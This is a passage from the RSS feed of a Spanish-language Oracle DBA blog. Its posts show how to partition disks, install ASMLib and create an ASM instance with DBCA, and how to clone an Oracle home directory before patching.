¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-8675961986535241689?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/MLP77nqinn4" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:20:08.324-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html</feedburner:origLink></item><item><title>Bye bye raw device, ¡bienvenido ASM!</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/PQTktzR4tOk/asm-series-installation-asmlib.html</link><category>ASM</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 05 Feb 2009 12:09:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-1293701148013846107</guid><description>&lt;div&gt;Durante décadas se han venido usando &lt;b&gt;&lt;i&gt;raw devices&lt;/i&gt;&lt;/b&gt; en un intento de obtener el mejor desempeño posible para las bases de datos &lt;i&gt;Oracle&lt;/i&gt;. La alternativa eran los &lt;b&gt;&lt;i&gt;file systems&lt;/i&gt;&lt;/b&gt; que si bien eran fáciles de administrar, tenían un desempeño que dejaba mucho que desear. Con el transcurrir de los años los fabricantes han venido mejorando los &lt;i&gt;file systems&lt;/i&gt;, agregándoles &lt;b&gt;&lt;i&gt;direct I/O&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;concurrent I/O&lt;/i&gt;&lt;/b&gt; por ejemplo, al punto que los han hecho casi tan eficientes como los &lt;i&gt;raw devices&lt;/i&gt;. Por su parte &lt;i&gt;Oracle&lt;/i&gt; dio la sorpresa cuando anunció la aparición de &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;, ofreciendo el alto desempeño de los &lt;i&gt;raw devices&lt;/i&gt; con la facilidad de administración de los &lt;i&gt;file systems&lt;/i&gt;, amén de muchas otras adiciones que lo hacen único y deseable.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;El 2008 recibimos la noticia, mediante el hoy desaparecido &lt;b&gt;Note 578455.1&lt;/b&gt;, que a partir de &lt;b&gt;Oracle 12g&lt;/b&gt; los &lt;i&gt;raw devices&lt;/i&gt; ya no serán soportados y más recientemente, con el &lt;b&gt;Note 754305.1&lt;/b&gt;, se nos indica que con &lt;b&gt;Oracle 11gR2&lt;/b&gt; ya no se ofrecerán los &lt;i&gt;raw devices&lt;/i&gt; desde &lt;b&gt;DBCA/OUI&lt;/b&gt;, por lo que tendremos que recurrir a la línea de comandos si queremos crear una base de datos que los emplee. Debemos entonces ir pensando en abandonar los &lt;i&gt;raw devices&lt;/i&gt; pero, ¿qué usar en su reemplazo? En &lt;b&gt;mi opinión&lt;/b&gt; la &lt;b&gt;mejor&lt;/b&gt; alternativa es &lt;b&gt;ASM&lt;/b&gt; y por ello empiezo hoy esta serie de Posts; en este primero les mostraré la &lt;b&gt;instalación&lt;/b&gt; del software requerido, las &lt;b&gt;configuraciones&lt;/b&gt; necesarias y la &lt;b&gt;creación&lt;/b&gt; de una instancia &lt;i&gt;ASM&lt;/i&gt;, en un &lt;a href="http://enriqueorbegozo.blogspot.com/2009/03/asm-series-migrating-db.html"&gt;siguiente Post&lt;/a&gt; les mostraré cómo &lt;b&gt;trasladar&lt;/b&gt; manualmente la base de datos hacia &lt;i&gt;ASM&lt;/i&gt; y en un último Post les mostraré cómo hacer lo mismo con &lt;b&gt;Database Console&lt;/b&gt; así como el procedimiento a seguir para hacer &lt;b&gt;upgrade&lt;/b&gt; a &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Estaré usando una máquina virtual en &lt;b&gt;VMWare&lt;/b&gt;, que ejecuta &lt;b&gt;RHEL 5.2&lt;/b&gt; de 32 bits y cuenta con &lt;b&gt;6&lt;/b&gt; discos virtuales de &lt;b&gt;1GB&lt;/b&gt; cada uno, los cuales serán gestionados por &lt;b&gt;ASM&lt;/b&gt;. Si bien voy a emplear &lt;b&gt;Oracle 11.1.0.7&lt;/b&gt;, los pasos han sido debidamente &lt;b&gt;probados&lt;/b&gt; con &lt;b&gt;Oracle 10.2.0.1&lt;/b&gt; y &lt;b&gt;10.2.0.4&lt;/b&gt; por lo que no debe haber problemas si siguen estos pasos con versiones &lt;b&gt;10.2.0.1 o superiores&lt;/b&gt;. Veamos entonces la secuencia de pasos a seguir para contar con una instancia &lt;i&gt;ASM&lt;/i&gt; &lt;b&gt;operativa&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. Particionando los discos.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Se requiere que los discos estén debidamente &lt;b&gt;particionados&lt;/b&gt; para que puedan ser usados, para ello haremos uso del utilitario &lt;b&gt;fdisk&lt;/b&gt;. Primero veamos los nombres de los dispositivos:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;root@urania ~]# ls /dev/sd*
/dev/sda&amp;nbsp; /dev/sda1&amp;nbsp; /dev/sda2&amp;nbsp; /dev/sdb&amp;nbsp; /dev/sdc&amp;nbsp; /dev/sdd&amp;nbsp; /dev/sde&amp;nbsp; /dev/sdf&amp;nbsp; /dev/sdg&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;A partir de &lt;b&gt;/dev/sdb&lt;/b&gt; hasta &lt;b&gt;/dev/sdg&lt;/b&gt;, son los discos que asignaremos a &lt;i&gt;ASM&lt;/i&gt;, creemos entonces las particiones.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# fdisk /dev/sdb

Command (m for help): &lt;span style="color: red; font-weight:bold;"&gt;n&lt;/span&gt;
Command action
&amp;nbsp;&amp;nbsp; e&amp;nbsp;&amp;nbsp; extended
&amp;nbsp;&amp;nbsp; p&amp;nbsp;&amp;nbsp; primary partition (1-4)
&lt;span style="color: red; font-weight:bold;"&gt;p&lt;/span&gt;
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): &lt;span style="color: red; font-weight:bold;"&gt;w&lt;/span&gt;
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Este mismo procedimiento se aplica a los restantes &lt;b&gt;5&lt;/b&gt; discos para finalmente obtener &lt;b&gt;6&lt;/b&gt; particiones:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# ls /dev/sd*
/dev/sda&amp;nbsp; /dev/sda2&amp;nbsp; /dev/sdb1&amp;nbsp; /dev/sdc1&amp;nbsp; /dev/sdd1&amp;nbsp;/dev/sde1&amp;nbsp; /dev/sdf1&amp;nbsp; /dev/sdg1
/dev/sda1&amp;nbsp;/dev/sdb&amp;nbsp;&amp;nbsp; /dev/sdc&amp;nbsp;&amp;nbsp; /dev/sdd&amp;nbsp;&amp;nbsp; /dev/sde&amp;nbsp; /dev/sdf&amp;nbsp;&amp;nbsp; /dev/sdg&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. Instalación y configuración del software ASMLib.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Para ello debemos empezar por identificar la versión del &lt;b&gt;&lt;i&gt;kernel&lt;/i&gt;&lt;/b&gt; en uso.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# uname -r
2.6.18-92.el5&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con este dato procedemos a descargar los &lt;a href="http://www.oracle.com/technology/software/tech/linux/asmlib/rhel5.html"&gt;&lt;b&gt;rpm&lt;/b&gt;&lt;/a&gt; respectivos  y los instalamos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# ls
oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
oracleasm-support-2.1.2-1.el5.i386.rpm
oracleasmlib-2.0.3-1.el5.i386.rpm

[root@urania ~]# rpm -Uvh oracleasm-support-2.1.2-1.el5.i386.rpm \
&amp;gt; oracleasmlib-2.0.3-1.el5.i386.rpm \
&amp;gt; oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
Preparing...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]
&amp;nbsp;&amp;nbsp; 1:oracleasm-support&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [ 33%]
&amp;nbsp;&amp;nbsp; 2:oracleasm-2.6.18-92.el5########################################### [ 67%]
&amp;nbsp;&amp;nbsp; 3:oracleasmlib&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con el &lt;i&gt;software&lt;/i&gt; ya instalado es hora de &lt;b&gt;configurarlo&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# /etc/init.d/oracleasm configure
Configuring the Oracle ASM library driver.

This will configure the on-boot properties of the Oracle ASM library
driver.&amp;nbsp; The following questions will determine whether the driver is
loaded on boot and what permissions it will have.&amp;nbsp; The current values
will be shown in brackets ('[]').&amp;nbsp; Hitting &lt;enter&gt; without typing an
answer will keep that current value.&amp;nbsp; Ctrl-C will abort.

Default user to own the driver interface [oracle]:
Default group to own the driver interface [dba]:
Start Oracle ASM library driver on boot (y/n) [n]: &lt;span style="color: red; font-weight:bold;"&gt;y&lt;/span&gt;
Scan for Oracle ASM disks on boot (y/n) [y]:
Writing Oracle ASM library driver configuration: done
Initializing the Oracle ASMLib driver:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]
Scanning the system for Oracle ASMLib disks:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;/enter&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora hay que &lt;b&gt;etiquetar&lt;/b&gt; las particiones para que sean reconocidas como dispositivos habilitados para &lt;b&gt;ASM&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# /etc/init.d/oracleasm createdisk DISK1 /dev/sdb1
Marking disk "DISK1" as an ASM disk:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Esto se repite para las &lt;b&gt;5&lt;/b&gt; particiones restantes para finalmente obtener:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;root@urania ~]# /etc/init.d/oracleasm listdisks
DISK1
DISK2
DISK3
DISK4
DISK5
DISK6&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. Creación de la instancia ASM&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta tarea se realiza con ayuda del utilitario &lt;b&gt;DBCA&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz16ZKmo8I/AAAAAAAAAg0/K-8Y3tJEFhI/s1600-h/asm01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz16ZKmo8I/AAAAAAAAAg0/K-8Y3tJEFhI/s400/asm01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Se nos solicita ejecutar un &lt;b&gt;script&lt;/b&gt; para configurar e iniciar el servicio &lt;b&gt;CSS&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# sh /u01/app/oracle/product/11.1.0/db_2/bin/localconfig add
/etc/oracle does not exist. Creating it now.
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized

Adding to inittab
Startup will be queued to init within 90 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
CSS is active on these nodes.
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; urania
CSS is active on all nodes.
Oracle CSS service is installed and running under init(1M)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Retornamos a &lt;b&gt;DBCA&lt;/b&gt; y ahora ingresamos el password para el usuario &lt;b&gt;SYS&lt;/b&gt; (de &lt;b&gt;ASM&lt;/b&gt; no de la base de datos)&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/Smz2AMCEOoI/AAAAAAAAAg8/_F9gLc3N9iE/s1600-h/asm02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/Smz2AMCEOoI/AAAAAAAAAg8/_F9gLc3N9iE/s400/asm02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Con este dato &lt;b&gt;DBCA&lt;/b&gt; procede a crear e iniciar la instancia &lt;b&gt;ASM&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2GDRH5uI/AAAAAAAAAhE/rTQkQc7G9bY/s1600-h/asm03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2GDRH5uI/AAAAAAAAAhE/rTQkQc7G9bY/s400/asm03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Ahora podemos crear los &lt;b&gt;&lt;i&gt;Disk Groups&lt;/i&gt;&lt;/b&gt;; en esta ocasión serán &lt;b&gt;2&lt;/b&gt; los que crearemos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2LZqurMI/AAAAAAAAAhM/kRrdDSb8JcU/s1600-h/asm04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2LZqurMI/AAAAAAAAAhM/kRrdDSb8JcU/s400/asm04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Al primero lo llamaremos &lt;b&gt;DAT&lt;/b&gt;, le asignaremos &lt;b&gt;2&lt;/b&gt; discos y servirá para contener la &lt;b&gt;base de datos&lt;/b&gt;. Escogemos &lt;b&gt;&lt;i&gt;external redundancy&lt;/i&gt;&lt;/b&gt; para aprovechar &lt;b&gt;todo&lt;/b&gt; el espacio, pero estaremos sin &lt;b&gt;&lt;i&gt;mirror&lt;/i&gt;&lt;/b&gt; por lo que es algo que no deberías usar en &lt;b&gt;Producción&lt;/b&gt;, salvo el &lt;i&gt;mirror&lt;/i&gt; lo estés manejando a nivel del &lt;b&gt;arreglo de discos&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2RvDFfFI/AAAAAAAAAhU/xYzkNmdEs4s/s1600-h/asm05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz2RvDFfFI/AAAAAAAAAhU/xYzkNmdEs4s/s400/asm05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Al segundo lo llamaremos &lt;b&gt;FRA&lt;/b&gt;, le asignaremos los &lt;b&gt;4&lt;/b&gt; discos restantes y servirá para contener el &lt;b&gt;&lt;i&gt;Flash Recovery Area&lt;/i&gt;&lt;/b&gt;, nuevamente escogemos &lt;b&gt;&lt;i&gt;external redundancy&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/Smz2Xa-FVOI/AAAAAAAAAhc/kjCR4gh_Zw4/s1600-h/asm06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/Smz2Xa-FVOI/AAAAAAAAAhc/kjCR4gh_Zw4/s400/asm06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/Smz2cWSlx4I/AAAAAAAAAhk/cp1aLrpatPw/s1600-h/asm07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/Smz2cWSlx4I/AAAAAAAAAhk/cp1aLrpatPw/s400/asm07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para culminar presionamos el botón &lt;b&gt;[Finish]&lt;/b&gt; y ¡listo!, hemos &lt;b&gt;terminado&lt;/b&gt; con esta &lt;b&gt;primera parte&lt;/b&gt;, ya tenemos una instancia &lt;b&gt;ASM&lt;/b&gt; plenamente operativa y lista para albergar nuestra &lt;b&gt;base de datos&lt;/b&gt;, pero como les adelantara, eso lo veremos en un &lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;siguiente Post&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/filesystemiooptions-asynch-directio.html"&gt;¿Cómo acelerar el acceso a los file systems?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-1293701148013846107?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/PQTktzR4tOk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:20:54.950-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz16ZKmo8I/AAAAAAAAAg0/K-8Y3tJEFhI/s72-c/asm01.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">16</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html</feedburner:origLink></item><item><title>De cómo un clon nos puede ayudar con un patch</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/rYzqAJL4voE/cloning-oracle-home-directory.html</link><category>patching</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Mon, 02 Feb 2009 13:08:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7892453754003557797</guid><description>&lt;div&gt;Si vamos a aplicar un &lt;b&gt;&lt;i&gt;patch&lt;/i&gt;&lt;/b&gt; o un &lt;b&gt;&lt;i&gt;patch set&lt;/i&gt;&lt;/b&gt;, una de las tareas previas es detener todos los procesos que estén ejecutándose en el &lt;b&gt;&lt;i&gt;Oracle home directory&lt;/i&gt;&lt;/b&gt; involucrado. Esto implica que debemos dejar de prestar servicio para iniciar el &lt;b&gt;&lt;i&gt;patching&lt;/b&gt;&lt;/i&gt;, proceso que si bien es relativamente fácil y sencillo, está sujeto a eventuales fallas que, de ocurrir, pueden llevar a una situación de crisis en la cual el &lt;b&gt;DBA&lt;/b&gt; debe identificar el problema y tratar de resolverlo, u optar por dar marcha atrás.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para evitar pasar por una situación como ésta, es una buena práctica proceder al &lt;i&gt;patching&lt;/i&gt; sobre un &lt;i&gt;Oracle home directory&lt;/i&gt; nuevo, uno que sea un "&lt;b&gt;Clon&lt;/b&gt;" del que está en producción, y así no tener que suspender el servicio sino hasta que estemos seguros que la primera parte del &lt;i&gt;patching&lt;/i&gt; se ha logrado de forma satisfactoria. A continuación veremos cómo en &lt;b&gt;sólo 3 pasos&lt;/b&gt;, podemos tener en pocos minutos un &lt;b&gt;Clon&lt;/b&gt; completamente soportado y listo para ser objeto del &lt;i&gt;patching&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Clonación al estilo Oracle&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Antes de iniciar la &lt;b&gt;clonación&lt;/b&gt;, tomemos en cuenta las siguientes suposiciones iniciales:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Oracle home directory &lt;b&gt;original&lt;/b&gt;: /u01/app/oracle/product/10.2.0/db_1&lt;/li&gt;
&lt;li&gt;Oracle home directory &lt;b&gt;clonado&lt;/b&gt;: /u01/app/oracle/product/10.2.0/db_2&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Copiar el software desde el &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt; hacia el &lt;b&gt;clonado&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;Esto se debe hacer como el usuario &lt;b&gt;root&lt;/b&gt; para que los permisos no se pierdan durante el proceso.&lt;/div&gt;&lt;pre class="codigo"&gt;[root@urania ~]#&amp;nbsp;cp -Rp /u01/app/oracle/product/10.2.0/db_1 /u01/app/oracle/product/10.2.0/db_2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si la clonación se realizará en otro servidor, puedes usar &lt;b&gt;tar&lt;/b&gt; para generar un archivo con los contenidos del &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt;:&lt;/div&gt;&lt;pre class="codigo"&gt;[root@urania ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@urania db_1]#&amp;nbsp;tar -cvf /stage/10gR2.tar .&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Luego transfieres el archivo generado (con &lt;b&gt;ftp&lt;/b&gt; por ejemplo) y una vez esté disponible en el nuevo servidor lo reconstituyes:&lt;/div&gt;&lt;pre class="codigo"&gt;[root@caliope ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@caliope db_1]#&amp;nbsp;tar -xvf /stage/10gR2.tar&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Clonar la instalación con &lt;b&gt;&lt;i&gt;Oracle Universal Installer&lt;/i&gt;&lt;/b&gt; (&lt;b&gt;OUI&lt;/b&gt;).&lt;/div&gt;&lt;div&gt;Esta parte se hace con el usuario &lt;b&gt;oracle&lt;/b&gt;. Existen 2 formas de hacerlo, ambas producen el mismo resultado:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;a.&lt;/span&gt; Usando &lt;b&gt;&lt;i&gt;clone.pl&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Properties file /config/cs.properties was not found. Failed loading correponding properties../runInstaller -silent -clone -waitForCompletion "ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_2" "ORACLE_HOME_NAME=OraDb10g_home2"
Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_02-14-44PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
&amp;nbsp;/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 14:15:07 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 14:15:20 PET 2009)
. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;74% Done.
Link successful

Setup in progress (Sat Jan 31 14:17:14 PET 2009)
.................... &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;100% Done.
Setup successful

End of install phases.(Sat Jan 31 14:17:21 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log' for more details.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;b.&lt;/span&gt; Usando &lt;b&gt;&lt;i&gt;runInstaller&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/oui/bin
[oracle@urania bin]$ ./runInstaller -clone -silent -ignorePreReq ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
